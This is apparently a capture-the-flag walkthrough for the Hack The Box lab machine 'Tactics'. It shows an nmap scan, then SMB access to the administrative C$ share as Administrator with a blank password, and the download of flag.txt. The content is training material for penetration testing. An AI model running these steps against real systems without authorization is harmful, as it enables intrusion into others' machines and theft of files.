

# Tactics

## Enumeration

nmap scan result.

```
(funa@kali) - [~/l3ickey/htb/Tactics]
└─$ nmap -sC -sV -Pn 10.129.116.247
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-06 00:20 JST
Nmap scan report for 10.129.116.247
Host is up (0.24s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2022-01-05T15:32:01
|_  start_date: N/A
|_ clock-skew: 10m48s

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 76.37 seconds
```

smbclient Administrator no password.

```
(funa@kali) - [~/l3ickey/htb/Tactics]
└─$ smbclient -L 10.129.116.247 -U Administrator
1 x
Enter WORKGROUP\Administrator's password:

Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
C$             Disk      Default share
IPC$           IPC       Remote IPC
SMB1 disabled -- no workgroup available
```

## Foothold

access to the file system.

```
(funa@kali) - [~/l3ickey/htb/Tactics]
```

```

└─$ smbclient \\\\10.129.116.247\\C$ -U Administrator
Enter WORKGROUP\Administrator's password:
Try "help" to get a list of possible commands.
smb: \> ls
$Recycle.Bin                DHS            0   Thu Apr 22 00:23:49 2021
Config.Msi                  DHS            0   Thu Jul  8 03:04:56 2021
Documents and Settings      DHSrn          0   Thu Apr 22 00:17:12 2021
pagefile.sys                AHS 738197504   Thu Jan  6 00:28:46 2022
PerfLogs                    D              0   Sat Sep 15 16:19:00 2018
Program Files                DR             0   Thu Jul  8 03:04:24 2021
Program Files (x86)          D              0   Thu Jul  8 03:03:38 2021
ProgramData                  DH             0   Thu Apr 22 00:31:48 2021
Recovery                     DHSn           0   Thu Apr 22 00:17:15 2021
System Volume Information    DHS            0   Thu Apr 22 00:34:04 2021
Users                        DR             0   Thu Apr 22 00:23:18 2021
Windows                      D              0   Thu Jul  8 03:05:23 2021

3774463 blocks of size 4096. 1159538 blocks available
smb: \> cd Users\Administrator\Desktop\
smb: \Users\Administrator\Desktop\> ls
.                            DR             0   Thu Apr 22 16:16:03 2021
..                           DR             0   Thu Apr 22 16:16:03 2021
desktop.ini                  AHS           282   Thu Apr 22 00:23:32 2021
flag.txt                     A              32   Fri Apr 23 18:39:00 2021

3774463 blocks of size 4096. 1159538 blocks available
smb: \Users\Administrator\Desktop\> get flag.txt
getting file \Users\Administrator\Desktop\flag.txt of size 32 as flag.txt (0.0
KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \Users\Administrator\Desktop\>

```

Congratulations!